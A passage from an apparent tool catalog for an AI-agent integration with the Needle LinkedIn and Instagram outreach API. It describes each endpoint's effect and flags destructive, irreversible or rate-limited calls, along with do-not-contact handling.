/api/v1/needle/campaigns/{campaignId}. Scopes: api. needle_delete_campaigns_by_campaignid_leads_by_leadid (write, destructive) — End one lead's enrollment and drop its queued steps, via DELETE /api/v1/campaigns/{campaignId}/leads/{leadId}. THE EMERGENCY STOP FOR ONE PERSON. Everything this campaign still had queued for the lead is dropped, and dropped queue entries do not come back -- re-enrolling restarts the sequence from the beginning rather than resuming it. Messages already sent are on LinkedIn or Instagram and are unaffected. To stop contacting the person everywhere rather than in this one campaign, add them with 'Create suppressions'. DELETE /api/v1/needle/campaigns/{campaignId}/leads/{leadId}. Scopes: api. needle_delete_connected_accounts_by_connectedaccountid (write, destructive) — Disconnect a LinkedIn or Instagram account from Needle, via DELETE /api/v1/connected-accounts/{connectedAccountId}. PERMANENT FROM THIS API'S POINT OF VIEW, AND THAT IS THE SHARP EDGE HERE: reconnecting is dashboard-only. Needle's documentation states that "Connecting an account is dashboard-only at /accounts. The API and MCP can list, update, and delete connected accounts; they cannot start the OAuth connect flow" -- so this call can undo something no tool in this integration can redo, and every campaign sending through the account stops. If the intent is a temporary stop, use 'Pause or resume a connected account' instead, which is reversible from here. DELETE /api/v1/needle/connected-accounts/{connectedAccountId}. Scopes: api. needle_delete_connected_accounts_by_connectedaccountid_limits_by_action (write) — Remove one action's override so it runs on the channel defaults again, via DELETE /api/v1/connected- accounts/{connectedAccountId}/limits/{action}. Not destructive, and that is deliberate rather than an oversight: it deletes an OVERRIDE, not data, and the effect is reinstating Needle's own default cap. Anything it undoes can be set again with 'Override a limit for one action'. Use it to back out a raised cap after a campaign finishes, which is the safer resting state for the account. DELETE /api/v1/needle/connected-accounts/{connectedAccountId}/limits/{action}. Scopes: api. needle_delete_files (write, destructive) — Delete one stored file, via DELETE /api/v1/files. PERMANENT, AND IT BREAKS WHAT STILL POINTS AT IT. Needle's own words: "Deletes a private file stored with POST /api/v1/files. Pass the url returned by that call or by GET /api/v1/files. Messages and campaign steps that still reference it will fail when sending." A CAREFULLY SHAPED CALL: the file is named in the BODY (`url`), not in the path, so this is one of the few DELETEs on the platform that carries a JSON body -- check campaign steps with 'Get a campaign' before removing a file an active sequence attaches. DELETE /api/v1/needle/files. Scopes: api. needle_delete_instagram_follows_by_identity (write, destructive) — Unfollow an account, or withdraw a pending follow request, via DELETE /api/v1/instagram/follows/{identity}. Needle's own words: "Unfollows an account, or withdraws a follow request still waiting for an answer." Marked destructive for the same reason as the follow: it changes a public relationship under a real person's handle, and follow/unfollow churn is exactly the pattern Instagram restricts accounts for. Metered as `instagram_unfollow` separately from the follow. DELETE /api/v1/needle/instagram/follows/{identity}. Scopes: api. needle_delete_leads_by_leadid (write, destructive) — Remove one person from the lead database, via DELETE /api/v1/leads/{leadId}. PERMANENT, and it reaches further than the record: the lead's campaign enrollments and its queued work go with it. Deleting a lead is NOT how to stop contacting someone -- a deleted lead can be re-imported by the next bulk upload and contacted again. To stop contacting a person for good, add them with 'Create suppressions', which survives re-import; delete the lead only when the record itself should not exist. DELETE /api/v1/needle/leads/{leadId}. Scopes: api. needle_delete_linkedin_invitations_by_invitationid (write, destructive) — Withdraw one pending sent invitation, via DELETE /api/v1/linkedin/invitations/{invitationId}. Needle's own words: "Withdraws a pending sent invitation, using an invitationId from GET /api/v1/linkedin/invitations." ONE-WAY: the invitation cannot be un-withdrawn, and LinkedIn does not let the same person be invited again immediately afterwards -- withdrawing to 'retry' is how an account ends up unable to invite that person for weeks. Withdraw to free up outstanding-invitation capacity, not to resend. `linkedin_cancel_invitation` is separately metered. DELETE /api/v1/needle/linkedin/invitations/{invitationId}. Scopes: api. needle_delete_suppressions_by_suppressionid (write, destructive) — Remove one do-not-contact entry, via DELETE /api/v1/suppressions/{suppressionId}. MAKES A SUPPRESSED PERSON CONTACTABLE AGAIN, which is why this read-like removal is the most consequential delete on the surface: if the entry's reason was `unsubscribed` or `complained`, the person asked not to be contacted and removing the record is how they get contacted anyway. Check the reason with 'List suppressions' first, and treat `unsubscribed`, `complained` and `not_interested` as entries not to remove. Entries Needle wrote itself (`recently_contacted`, `unresponsive`) are the ones it is usually safe to clear. DELETE /api/v1/needle/suppressions/{suppressionId}. Scopes: api. needle_get_campaigns (read) — List this organization's campaigns, via GET /api/v1/campaigns. A campaign is the sequence that does the outreach: a graph of steps, a schedule and a set of limits. `status` narrows to `draft`, `active`, `paused`, `completed` or `archived`. Paged with `cursor`/`limit`. GET /api/v1/needle/campaigns. Scopes: api. needle_get_campaigns_by_campaignid (read) — Read one campaign in full, via GET /api/v1/campaigns/{campaignId}. The whole definition: the step graph, the schedule, the pacing limits and the suppression policy. This is the safe way to get a valid `graph` -- read a campaign that works, change the part you mean to change, and send it back through 'Update a campaign' -- rather than authoring a graph against a schema this tool deliberately does not restate. GET /api/v1/needle/campaigns/{campaignId}. Scopes: api. needle_get_campaigns_by_campaignid_events (read) — Read what a campaign has actually done, via GET /api/v1/campaigns/{campaignId}/events. The campaign-scoped slice of the event stream: each send, reply, failure and state change in order. Where 'Get campaign stats' gives the totals, this gives the rows behind them, which is what a discrepancy investigation needs. Paged with `cursor`/`limit`. GET /api/v1/needle/campaigns/{campaignId}/events. Scopes: api. needle_get_campaigns_by_campaignid_leads (read) — List the leads enrolled in one campaign, via GET /api/v1/campaigns/{campaignId}/leads. Who is in the sequence and where each of them has got to. Paged with `cursor`/`limit`. To add people use 'Enroll leads'; to take one out use 'Stop a lead in a campaign'. GET /api/v1/needle/campaigns/{campaignId}/leads. Scopes: api. needle_get_campaigns_by_campaignid_pending (read) — List the campaign steps held for a human decision, via GET /api/v1/campaigns/{campaignId}/pending. A campaign can be configured to hold its sends for approval instead of sending them; those are the `pending_approval` tasks, and this is the queue of them for one campaign. Each row carries the task id 'Approve a pending send' takes and the text that would go out. Paged with `cursor`/`limit`. GET /api/v1/needle/campaigns/{campaignId}/pending. Scopes: api. needle_get_campaigns_by_campaignid_stats (read) — Read one campaign's aggregate results, via GET /api/v1/campaigns/{campaignId}/stats. The rolled-up counts for the campaign -- how many leads are enrolled and how the outreach has gone. Cheap and summary-level; for the individual events behind a number, use 'List campaign events' or 'Search events', and for what has NOT happened yet, 'List campaign tasks'. GET /api/v1/needle/campaigns/{campaignId}/stats. Scopes: api. needle_get_campaigns_by_campaignid_tasks (read) — Read the work a campaign still owes its leads, via GET /api/v1/campaigns/{campaignId}/tasks. Needle's own words: "The work this campaign owes its leads, and when each step is due." Due times here are the campaign's intent; the RATE they actually go out at is per connected account, so cross-read with 'List a connected account's queued work' when timing matters. `status` narrows to `pending` or `pending_approval`. GET /api/v1/needle/campaigns/{campaignId}/tasks. Scopes: api. needle_get_connected_accounts (read) — List the channel accounts this organization has connected to Needle, via GET /api/v1/connected-accounts. THE STARTING POINT FOR EVERY CHANNEL TOOL: almost every LinkedIn and Instagram operation here takes a `connectedAccountId`, and this is the only place those ids come from. CONNECTING AN ACCOUNT IS DASHBOARD-ONLY. Needle's own documentation says so in as many words -- connecting happens at https://needle.app/accounts, and "The API and MCP can list, update, and delete connected accounts; they cannot start the OAuth connect flow." If this list comes back empty, no send, follow, invite or profile read can do anything until a human connects an account in Needle. That is a Needle-to-LinkedIn/Instagram connection and has nothing to do with the API key this Agentic Fabriq connection holds. Paged: pass `nextCursor` back as `cursor` and stop when it is null. GET /api/v1/needle/connected-accounts. Scopes: api. needle_get_connected_accounts_by_connectedaccountid (read) — Read one connected channel account, via GET /api/v1/connected- accounts/{connectedAccountId}. The single-id form of the listing: which channel it is, whose account it is, and whether it is currently paused. Read this before a bulk send to confirm the account is live -- a paused account still accepts queued work and sends none of it. An id from another organization answers 404 rather than 403, because a Needle key can only see inside the one organization it is bound to. GET /api/v1/needle/connected-accounts/{connectedAccountId}. Scopes: api. needle_get_connected_accounts_by_connectedaccountid_events (read) — Read the activity history of one connected account, via GET /api/v1/connected-accounts/{connectedAccountId}/events. What this account actually did and what happened back: sends, invitations, replies, failures. This is the per-account slice of the same event stream 'Search events' filters globally, and it is the first place to look when a campaign reports fewer sends than expected -- a limit that bit shows up here as the account's own history rather than as a campaign statistic. Paged with `cursor`/`limit`. GET /api/v1/needle/connected-accounts/{connectedAccountId}/events. Scopes: api. needle_get_connected_accounts_by_connectedaccountid_limits (read) — Read every metered action on one account with its caps and usage so far, via GET /api/v1/connected-accounts/{connectedAccountId}/limits. Needle's own words: "Every metered action on this account with its channel defaults, the caps currently enforced, the override behind them (if any), and usage so far. Limit errors (429) point at one of these actions." READ THIS BEFORE PLANNING A BATCH. The caps are per account and per action -- invitations, messages, InMails, profile views, searches, comments, reactions, follows -- and they are the reason a send fails while the credential is perfectly good. Note that the OpenAPI document declares no 429 response on ANY operation while three of its own descriptions say 429 is what a hit limit returns; trust the prose and this tool, not the declared status list. GET /api/v1/needle/connected-accounts/{connectedAccountId}/limits. Scopes: api. needle_get_connected_accounts_by_connectedaccountid_tasks (read) — Read the outbound queue for one connected account, via GET /api/v1/connected-accounts/{connectedAccountId}/tasks. Needle's own words: "The queue for one account. Because limits and pacing are per account, this is the order and rate its work will actually go out at." So this, not the campaign's own task list, is what tells you when something will really be sent. `status` narrows to `pending` (queued and will go) or `pending_approval` (queued and waiting for a human to release it with 'Approve a pending send'). GET /api/v1/needle/connected-accounts/{connectedAccountId}/tasks. Scopes: api. needle_get_files (read) — List the private files stored in this Needle organization, via GET /api/v1/files. Needle's own words: "Lists private files in this organization. Pass a returned url on a LinkedIn send or campaign step. Pass nextCursor as cursor for the next page." THE `url` IS THE ONE TO PASS ON, not the `downloadUrl` -- Needle says the download link is a preview and must not be given to LinkedIn. Paged with `cursor`/`limit`. GET /api/v1/needle/files. Scopes: api. needle_get_instagram_conversations (read) — List the connected account's Instagram inbox, via GET /api/v1/instagram/conversations. Needle's own words: "Returns the conversations of the connected account. Take conversationId from here to read the messages or the participants." The reply-detection surface for Instagram, and the source of every `conversationId` on this channel. `limit` defaults to 20 and caps at 100, and Needle warns that "a page can hold fewer, so follow cursor until it comes back null" -- a short page is not the end of the list. GET /api/v1/needle/instagram/conversations. Scopes: api. needle_get_instagram_conversations_by_conversationid_messages (read) — Read one Instagram conversation's messages, via GET /api/v1/instagram/conversations/{conversationId}/messages. Needle's own words: "Returns the messages of one conversation, most recent first, each with the reactions on it." Each row carries the `messageId` that 'React to an Instagram message' takes. Like its LinkedIn twin this route takes `limit` (default 20) but NO `cursor`, so it is not cursor-paged -- raise the limit rather than looking for a next page. GET /api/v1/needle/instagram/conversations/{conversationId}/messages. Scopes: api. needle_get_instagram_conversations_by_conversationid_participants (read) — Read who is in one Instagram conversation, via GET /api/v1/instagram/conversations/{conversationId}/participants. Needle's own words: "Returns the accounts in a conversation. Take identity from here to read a participant's profile, posts or followers." That is the practical use: it turns an opaque conversation into usernames the profile, post and follower tools accept. GET /api/v1/needle/instagram/conversations/{conversationId}/participants. Scopes: api. needle_get_instagram_followers (read) — List the followers of an account, via GET /api/v1/instagram/followers. Needle's own words: "Returns the followers of an account, or of the connected account when identity is omitted." NOTE THE SMALLER PAGE: `limit` caps at 25 here, not the 100 most of this surface allows, so a large follower list is a long walk -- follow `nextCursor` until it is null and expect many pages. GET /api/v1/needle/instagram/followers. Scopes: api. needle_get_instagram_following (read) — List what an account follows, via GET /api/v1/instagram/following. Needle's own words: "Returns the accounts one account follows, or the ones the connected account follows when identity is omitted." This one WORKS, unlike its LinkedIn namesake, which Needle documents as not supported yet. `limit` caps at 25 as on the followers listing. GET /api/v1/needle/instagram/following. Scopes: api. needle_get_instagram_me (read) — Read the connected account's own Instagram profile, via GET /api/v1/instagram/me. Needle's own words: "Returns the profile of the connected account itself, including its follower, following and post counts." The Instagram-side identity check, next to 'Get the authenticated Needle user' which answers the Needle-side one. Useful before publishing: it confirms which account a post would appear on. GET /api/v1/needle/instagram/me. Scopes: api. needle_get_instagram_posts (read) — List the posts of one Instagram account, via GET /api/v1/instagram/posts. Needle's own words: "Returns the posts of one account, most recent first. A username that does not exist comes back with no posts rather than an error." THAT IS WORTH REPEATING: an empty result does not mean the account has no posts, it may mean the username was wrong, so confirm with 'Get an Instagram profile' before concluding anything from zero rows. `identity` is REQUIRED and is a username without @. Paged with `cursor`/`limit`. GET /api/v1/needle/instagram/posts. Scopes: api. needle_get_instagram_posts_by_postid (read) — Read one Instagram post, via GET /api/v1/instagram/posts/{postId}. Needle's own words: "Returns one post, by postId or by the short code from its URL." Unlike LinkedIn, where an id taken from a post URL usually does not resolve, Instagram's URL short code IS accepted here -- so both the id from a listing and the code from a browser address bar work. GET /api/v1/needle/instagram/posts/{postId}. Scopes: api. needle_get_instagram_posts_by_postid_comments (read) — Read a post's comments, or the replies to one comment, via GET /api/v1/instagram/posts/{postId}/comments. Needle's own words: "Returns the comments on a post, or the replies to one comment. Take commentId from a row to read that reply thread." The `commentId` on each row is also what 'Comment on an Instagram post' and 'Like an Instagram post' take to reply to or like a comment rather than the post. Paged with `cursor`/`limit`; a short page is not the end. GET /api/v1/needle/instagram/posts/{postId}/comments. Scopes: api. needle_get_instagram_posts_by_postid_reactions (read) — Read who liked a post or one of its comments, via GET /api/v1/instagram/posts/{postId}/reactions. Needle's own words: "Returns the accounts that liked a post, or one of its comments." Despite the `reactions` path, Instagram has exactly one reaction on a post and it is a like -- the plural is the route's spelling, not a range of choices. Pass `commentId` to read a comment's likes instead. Paged with `cursor`/`limit`. GET /api/v1/needle/instagram/posts/{postId}/reactions. Scopes: api. needle_get_instagram_profiles_by_identity (read) — Read one Instagram profile and the connected account's relationship to it, via GET /api/v1/instagram/profiles/{identity}. Needle's own words: "Returns a profile by username, with the connected account's relationship to it. Counts against the daily profile view allowance. Returns 429 when the account is at its limit." A METERED READ -- `instagram_profile_view` is capped on 'List a connected account's limits and usage'. `identity` is a username WITHOUT the leading @. The relationship fields are what 'Follow an Instagram user' and 'Unfollow an Instagram user' should be decided from, including `followRequestPending` for a private account. GET /api/v1/needle/instagram/profiles/{identity}. Scopes: api. needle_get_leads (read) — List the people in this organization's lead database, via GET /api/v1/leads. A lead is Needle's record of a person, keyed by the channel handles it carries. Campaigns enroll leads BY ID, so this listing (or 'Create a lead') is where the ids for 'Enroll leads' come from. Paged with `cursor`/`limit`; follow `nextCursor` until null. GET /api/v1/needle/leads. Scopes: api. needle_get_leads_by_leadid (read) — Read one lead in full, via GET /api/v1/leads/{leadId}. Everything the record carries: its channel identities, the profile fields, the timezone the schedule is evaluated in, and the free-form `properties` a campaign's message templates personalize from. Read this before enrolling when a campaign template references a property -- an empty field a message uses is an enrollment skip (`missing_personalization`), and the skip names the field. GET /api/v1/needle/leads/{leadId}. Scopes: api. needle_get_leads_by_leadid_events (read) — Read one lead's activity history, via GET /api/v1/leads/{leadId}/events. Everything that has happened to and from this person across every campaign: what was sent, when, on which channel, and what came back. This is the record to read before contacting someone again, and the one that answers 'have we already talked to them'. Paged with `cursor`/`limit`. GET /api/v1/needle/leads/{leadId}/events. Scopes: api. needle_get_leads_by_leadid_tasks (read) — Read every action campaigns have queued for one lead, via GET /api/v1/leads/{leadId}/tasks. Needle's own words: "Every action campaigns have queued for this lead, across its enrollments." Use it to see what is about to happen to a person before it does -- and 'Stop a lead in a campaign' to cancel it. `status` narrows to `pending` or `pending_approval`. GET /api/v1/needle/leads/{leadId}/tasks. Scopes: api. needle_get_linkedin_companies_by_identifier (read) — Read one company page, via GET /api/v1/linkedin/companies/{identifier}. Needle's own words: "Returns a company by public identifier, numeric id, or company URL." THE URL FORM IS WHY THIS TOOL'S PATH ARGUMENT IS PERCENT-ENCODED RATHER THAN REFUSED FOR CONTAINING SLASHES -- Needle documents `https://www.linkedin.com/company/heravideo` as a legal value for `identifier`, and it has to survive being put in a path segment. The numeric id in the reply is what 'Search LinkedIn companies' returns and what the company endpoints accept. GET /api/v1/needle/linkedin/companies/{identifier}. Scopes: api. needle_get_linkedin_companies_by_identifier_jobs (read) — List the jobs a company currently has posted, via GET /api/v1/linkedin/companies/{identifier}/jobs. Needle's own words: "Jobs currently posted by a company. Use cursor for the next page." The same `identifier` forms as 'Get a LinkedIn company' -- public identifier, numeric id or a company URL. For jobs across many companies at once, 'Search LinkedIn jobs' is the better tool; this one is the per-company view. GET /api/v1/needle/linkedin/companies/{identifier}/jobs. Scopes: api. needle_get_linkedin_conversations (read) — List the connected account's LinkedIn inbox, via GET /api/v1/linkedin/conversations. Needle's own words: "Conversations in the account inbox. Use a conversationId from here to read its messages." This is the reply- detection surface: a campaign that wants to stop messaging someone who answered reads the inbox here, not the campaign statistics. Paged with `cursor`/`limit`. GET /api/v1/needle/linkedin/conversations. Scopes: api. needle_get_linkedin_conversations_by_conversationid_messages (read) — Read the messages of one LinkedIn conversation, via GET /api/v1/linkedin/conversations/{conversationId}/messages. Needle's own words: "Returns the messages in one conversation. Take conversationId from the conversations listing." A conversation id is opaque and comes from 'List LinkedIn conversations'; it is not something to construct. `limit` defaults to 20. Note the shape of this one: it takes `limit` but NO `cursor`, so it is not cursor-paged the way the rest of this surface is -- raise `limit` (up to 100) rather than looking for a next page. GET /api/v1/needle/linkedin/conversations/{conversationId}/messages. Scopes: api. needle_get_linkedin_followers (read) — List the followers of the connected account, a person or a company, via GET /api/v1/linkedin/followers. Needle's own words: "Followers of the connected account, or of the person or company given in identity. A company page is readable only by its admins." So a company `identity` the connected account does not administer is a permission failure rather than an empty list. Omit `identity` for the connected account's own followers. Paged with `cursor`/`limit`. GET /api/v1/needle/linkedin/followers. Scopes: api. needle_get_linkedin_following (read) — List what the connected account follows, via GET /api/v1/linkedin/following. NOT IMPLEMENTED BY NEEDLE TODAY, AND NEEDLE SAYS SO ITSELF: its OpenAPI description for this operation reads "Accounts the connected account follows. Not supported yet -- requests return an error." It is shipped rather than withheld because it is a declared route that the vendor intends to implement, and withholding it would mean re-adding it later; but do not choose it expecting data. The Instagram equivalent, 'List accounts the Instagram account follows', carries no such warning and does work. If this ever starts answering, it pages with `cursor`/`limit` like its neighbours. GET /api/v1/needle/linkedin/following. Scopes: api. needle_get_linkedin_inmails_balance (read) — Read the InMail credits left on the connected account, via GET /api/v1/linkedin/inmails/balance. Needle's own words: "InMail credits left on the connected account. Credits come with a Sales Navigator seat and renew monthly, separately from the daily action allowances." Two different budgets, and this is the one that costs money: the daily caps on 'List a connected account's limits and usage' reset every day, these credits renew monthly and run out for the rest of the month. Read it before a batch of InMails. GET /api/v1/needle/linkedin/inmails/balance. Scopes: api. needle_get_linkedin_invitations (read) — List connection invitations this account has sent and that are still pending, via GET /api/v1/linkedin/invitations. Needle's own words: "Connection invitations sent from this account that are still pending. For incoming ones, use GET /api/v1/linkedin/invitations/received." This is where the `invitationId` for 'Withdraw a LinkedIn invitation' comes from. Worth reading before a batch of invitations: LinkedIn caps how many invitations may be outstanding at once, so a large pending list is itself a reason the next invitation fails. Paged with `cursor`/`limit`. GET /api/v1/needle/linkedin/invitations. Scopes: api. needle_get_linkedin_invitations_received (read) — List pending connection invitations sent TO this account, via GET /api/v1/linkedin/invitations/received. Needle's own words: "Connection invitations received by this account that are still pending. Accept or decline them with POST /api/v1/linkedin/invitations/received/{invitationId}." Mind the direction: the `invitationId` here belongs to the RECEIVED queue and is not interchangeable with the one 'List sent LinkedIn invitations' returns. Paged with `cursor`/`limit`. GET /api/v1/needle/linkedin/invitations/received. Scopes: api. needle_get_linkedin_posts (read) — List the posts authored by one profile, via GET /api/v1/linkedin/posts. Needle's own words: "Posts authored by a person. A company identifier also works, but GET /api/v1/linkedin/companies/{identifier}/posts resolves it in one call instead of two." THAT SUGGESTED ROUTE DOES NOT EXIST IN NEEDLE'S OWN OPENAPI DOCUMENT (read 2026-09-25: the company paths it declares are `/companies/{identifier}` and `/companies/{identifier}/jobs`, and there is no `/posts` under either), so this tool is the way to read a company's posts and no tool for that suggestion has been invented here. `identity` is REQUIRED -- there is no 'my own posts' default. Paged with `cursor`/`limit`. GET /api/v1/needle/linkedin/posts. Scopes: api. needle_get_linkedin_posts_by_postid (read) — Read one post, via GET /api/v1/linkedin/posts/{postId}. Needle's own words: "Returns one post by postId, as returned by a post listing or search. An id copied from a post URL often does not resolve." Take the id from 'Search LinkedIn posts' or 'List LinkedIn posts by a person or company' rather than from a browser address bar -- that is the single most common 404 on this part of the surface. GET /api/v1/needle/linkedin/posts/{postId}. Scopes: api. needle_get_linkedin_posts_by_postid_comments (read) — Read a post's comments, or the replies to one comment, via GET /api/v1/linkedin/posts/{postId}/comments. Needle's own words: "Top-level comments on a post, or replies to one comment when commentId is given." `sortBy` takes `MOST_RECENT` or `MOST_RELEVANT` -- LinkedIn's own spellings, in capitals. Each row carries the `commentId` that 'Comment on a LinkedIn post' and 'React to a LinkedIn post' take when replying to or reacting to a comment rather than the post. Paged with `cursor`/`limit`. GET /api/v1/needle/linkedin/posts/{postId}/comments. Scopes: api. needle_get_linkedin_profiles_by_identity (read) — Read one LinkedIn profile as the connected account sees it, via GET /api/v1/linkedin/profiles/{identity}. Needle's own words: "Returns a profile by public identifier or user id. Counts against the daily profile view allowance. Returns 429 when the account is at its limit." SO THIS IS A METERED READ, not a free one -- `linkedin_profile_view` is one of the capped actions on 'List a connected account's limits and usage', and a loop over a lead list will exhaust it. Read it before messaging: `isConnected` says whether a plain message can reach the person at all, and `isOpenProfile` says whether an InMail reaches them without spending a credit. GET /api/v1/needle/linkedin/profiles/{identity}. Scopes: api. needle_get_linkedin_relations (read) — List the connected account's own first-degree connections, via GET /api/v1/linkedin/relations. Needle's own words: "First-degree connections of the connected account. These are the recipients a plain message can reach." So this is the audience for 'Send a LinkedIn message' without spending an InMail credit. Cursor-paged, and note that this route takes `cursor` but NO `limit` -- follow `nextCursor` until it is null and expect the page size Needle chooses. GET /api/v1/needle/linkedin/relations. Scopes: api. needle_get_linkedin_search_parameters (read) — Turn filter text into the LinkedIn ids the search tools require, via GET /api/v1/linkedin/search/parameters. THE LOOKUP EVERY STRUCTURED SEARCH DEPENDS ON. Needle's own words: "Resolves filter ids (location, industry, job title, company, ...) from keywords. Pass the returned id to search filters that take an id instead of text." `type` must be one the chosen service actually has: standard LinkedIn takes LOCATION, INDUSTRY, COMPANY, SCHOOL, SERVICE, JOB_TITLE, JOB_FUNCTION, CONNECTIONS, PEOPLE and LANGUAGE, while Sales Navigator takes REGION, SALES_INDUSTRY, COMPANY, SCHOOL, JOB_TITLE, DEPARTMENT, GROUPS, PERSONA, ACCOUNT_LISTS, LEAD_LISTS, CONNECTIONS and LANGUAGE. LANGUAGE is the exception that returns ISO 639-1 codes rather than LinkedIn ids. Leave `keywords` out to list saved groups, personas and lists whole. `service` defaults to `classic`. GET /api/v1/needle/linkedin/search/parameters. Scopes: api. needle_get_me (read) — Read the user and organization this API key is bound to, via GET /api/v1/me. THE CONNECTION'S IDENTITY CHECK, and Needle's own documented smoke test -- it is the probe this provider declares. The reply names the user the key acts as, that user's role in the organization (member, admin or owner), and the organization every other call in this integration runs inside. A Needle key is bound to ONE user and ONE organization and cannot be pointed at another, so this is how to confirm WHICH workspace a connection reaches before writing anything into it. Costs no channel allowance and needs no connected account, which is why it is safe as a health check. GET /api/v1/needle/me. Scopes: api. needle_get_places_by_placeid (read) — Read one place by its Google Place id, via GET /api/v1/places/{placeId}. The detail view behind a 'Search places' hit. `placeId` is a Google Place id, not a Needle id -- Needle is passing this identifier through, so an id obtained from Google's own tooling works here too. Needs no connected account and costs no channel allowance. GET /api/v1/needle/places/{placeId}. Scopes: api. needle_get_suppressions (read) — List the organization's do-not-contact entries, via GET /api/v1/suppressions. The compliance record: who must not be contacted and why. `reason` narrows to one of Needle's own categories -- `manual`, `unsubscribed`, `not_interested`, `existing_customer`, `open_opportunity`, `competitor`, `employee`, `invalid_recipient`, `complained`, `recently_contacted` or `unresponsive`. Some of those are written by Needle itself as campaigns run, so this list grows without anyone calling 'Create suppressions'. Paged with `cursor`/`limit`. GET /api/v1/needle/suppressions. Scopes: api. needle_patch_campaigns_by_campaignid (write) — Change a campaign's steps, schedule, limits or run state, via PATCH /api/v1/campaigns/{campaignId}. THIS IS ALSO THE START AND STOP BUTTON: `status` takes `active` or `paused` and nothing else -- there is no `draft` and no `archived` here, so a campaign cannot be returned to draft or un-archived through this API. `graph` REPLACES the step graph rather than merging into it, so send the whole thing (read it first with 'Get a campaign'); the same goes for `schedule`, `limits` and `suppressionPolicy`. `dryRun: true` validates the change and reports what it would do without applying it, which is the right first call for any graph edit on a live campaign. PATCH /api/v1/needle/campaigns/{campaignId}. Scopes: api. needle_patch_campaigns_by_campaignid_pending_by_taskid (write, destructive) — Release one held campaign step, optionally rewriting its text first, via PATCH /api/v1/campaigns/{campaignId}/pending/{taskId}. THIS IS THE AUTHORIZATION TO SEND, which is why it is marked destructive even though it writes nothing itself: the step goes out to a real person on LinkedIn or Instagram, and neither channel lets this integration unsend it. `text` REPLACES the message body before it goes -- omit it to send what the campaign composed. Read the queue with 'List sends waiting for approval' and look at the text before releasing it, because the composed draft is exactly what the recipient will see. PATCH /api/v1/needle/campaigns/{campaignId}/pending/{taskId}. Scopes: api. needle_patch_connected_accounts_by_connectedaccountid (write) — Change a connected account's paused state or its limit overrides, via PATCH /api/v1/connected-accounts/{connectedAccountId}. `paused: true` is the emergency stop for one channel account: campaigns stop sending through it while queued work stays queued, so resuming with `paused: false` restarts rather than replays. `limitOverrides` sets several action caps in one call, the same values 'Override a limit' sets one action at a time. Fields left out are unchanged. This is a Needle- side setting -- it does not touch LinkedIn or Instagram and nobody on the channel can see it. PATCH /api/v1/needle/connected-accounts/{connectedAccountId}. Scopes: api. needle_patch_connected_accounts_by_connectedaccountid_limits_by_action (write) — Set hourly, daily or weekly caps for one metered action on one account, via PATCH /api/v1/connected- accounts/{connectedAccountId}/limits/{action}. Needle's own words: "Fields you leave out keep the channel default. A cap can be tightened or loosened, never removed. Raising a cap above the default is allowed but answered with a warning: it increases the risk of the channel restricting the account." That warning is the point -- LinkedIn and Instagram restrict accounts that behave unusually, and the account at risk belongs to a real person. `action` is one of Needle's metered action names (linkedin_invitation, linkedin_message, linkedin_inmail, linkedin_profile_view, instagram_message, instagram_follow and the rest); read the exact set from 'List a connected account's limits and usage'. PATCH /api/v1/needle/connected-accounts/{connectedAccountId}/limits/{action}. Scopes: api. needle_patch_leads_by_leadid (write) — Change a lead's identities, profile fields or properties, via PATCH /api/v1/leads/{leadId}. Send only what changes; omitted fields are left alone. The identity formats are the same as on create -- Needle: "a LinkedIn public identifier, /in/ path, profile URL, or user id; or an Instagram username, @handle, or profile URL." This is the repair tool for an enrollment that was skipped: add the missing handle, or fill the property the message template names, and enroll again. PATCH /api/v1/needle/leads/{leadId}. Scopes: api. needle_post_campaigns (write) — Create an outreach sequence, via POST /api/v1/campaigns. `name` and `graph` are REQUIRED, and `graph` is the whole campaign: `nodes` are the steps (the sends, waits and conditions) and `edges` are what follows what. THE GRAPH SCHEMA IS DEEP -- Needle's own document spends about 7.5 KB on it -- so this tool takes it as an object rather than restating a shape that would drift from the vendor's. Read a working campaign with 'Get a campaign' and modify that graph rather than composing one from scratch. `schedule` (`workingDays`, `startTime`, `endTime`) is evaluated in each LEAD's timezone, not yours. `limits` (`minGapSeconds`, `maxGapSeconds`, `maxNewLeadsPerDay`) paces the campaign on top of the per-account caps, and the tighter of the two wins. `suppressionPolicy` is the compliance surface: cooldown days, how many unanswered touches count as unresponsive, and the keywords that auto-suppress a lead who asks to be left alone. A campaign is created as a DRAFT and sends nothing until 'Update a campaign' sets its status to active. POST /api/v1/needle/campaigns. Scopes: api. needle_post_campaigns_by_campaignid_leads (write) — Add existing leads to a campaign by id, via POST /api/v1/campaigns/{campaignId}/leads. ENROLLS LEADS THAT ALREADY EXIST -- create them first with 'Create a lead' or 'Create leads in bulk'. PARTIAL SUCCESS IS THE NORMAL OUTCOME and the skip reasons are Needle's own: `missing_identity` (no handle for the channel the campaign sends on), `missing_personalization` (a lead field the message uses is empty or still contains a {{...}} placeholder -- the detail names the field), `enrolled_elsewhere` (already live in another campaign), `suppressed` (on the do-not-contact list), `recently_contacted`, `unresponsive`, and `lead_not_found` (the id does not name a lead in this organization). Results come back in request order, so read them positionally and do not treat a 201 as 'everyone was enrolled'. This queues work rather than sending anything, which is why it is not marked destructive -- but it is the call that starts real outreach to real people. POST /api/v1/needle/campaigns/{campaignId}/leads. Scopes: api. needle_post_compose (read) — Draft a personalized message without sending it, via POST /api/v1/compose. A PREVIEW, NOT A SEND -- nothing reaches the recipient and no channel allowance is spent, which is why it is grouped with the reads. Needle's own words: "identity accepts the same forms as leads: a LinkedIn public identifier, /in/ path, profile URL, or user id; or an Instagram username, @handle, or profile URL." `channel`, `connectedAccountId`, `identity` and `prompt` are all required; `context` adds supporting strings, `leadProperties` supplies the personalization values a real lead would carry, and `maxChars` bounds the draft. Use it to check what a campaign step would write before enrolling anybody, and pass the result to 'Send a LinkedIn message' or 'Send an Instagram message' only after reading it. POST /api/v1/needle/compose. Scopes: api. needle_post_events_search (read) — Query the organization's whole event stream with filters, via POST /api/v1/events/search. THE CROSS-CUTTING HISTORY TOOL. Where the per-campaign, per-lead and per-account event listings each answer one question, this one filters the whole stream by any combination of `types`, `channel` (`linkedin` or `instagram`), `campaignId`, `leadId`, `accountId` and a `from`/`to` window, and pages with `cursor`/`limit`. A POST that READS -- the filter set is too large for a query string, so the verb is about the request shape, not about a change. Nothing is written and nothing is metered on the channel. POST /api/v1/needle/events/search. Scopes: api. needle_post_files (write) — Store a private file in Needle, or mint a signed URL to upload one, via POST /api/v1/files. TWO MODES, AND NEITHER SENDS BYTES THROUGH THIS TOOL. Needle's own words: "Stores a private object in Needle. Pass filename and contentType to mint a short-lived signed PUT URL, then PUT the bytes to uploadUrl. Or pass sourceUrl to copy a public https file into Needle. Then pass the returned url when sending a LinkedIn message or InMail, or on a campaign send step. downloadUrl is a 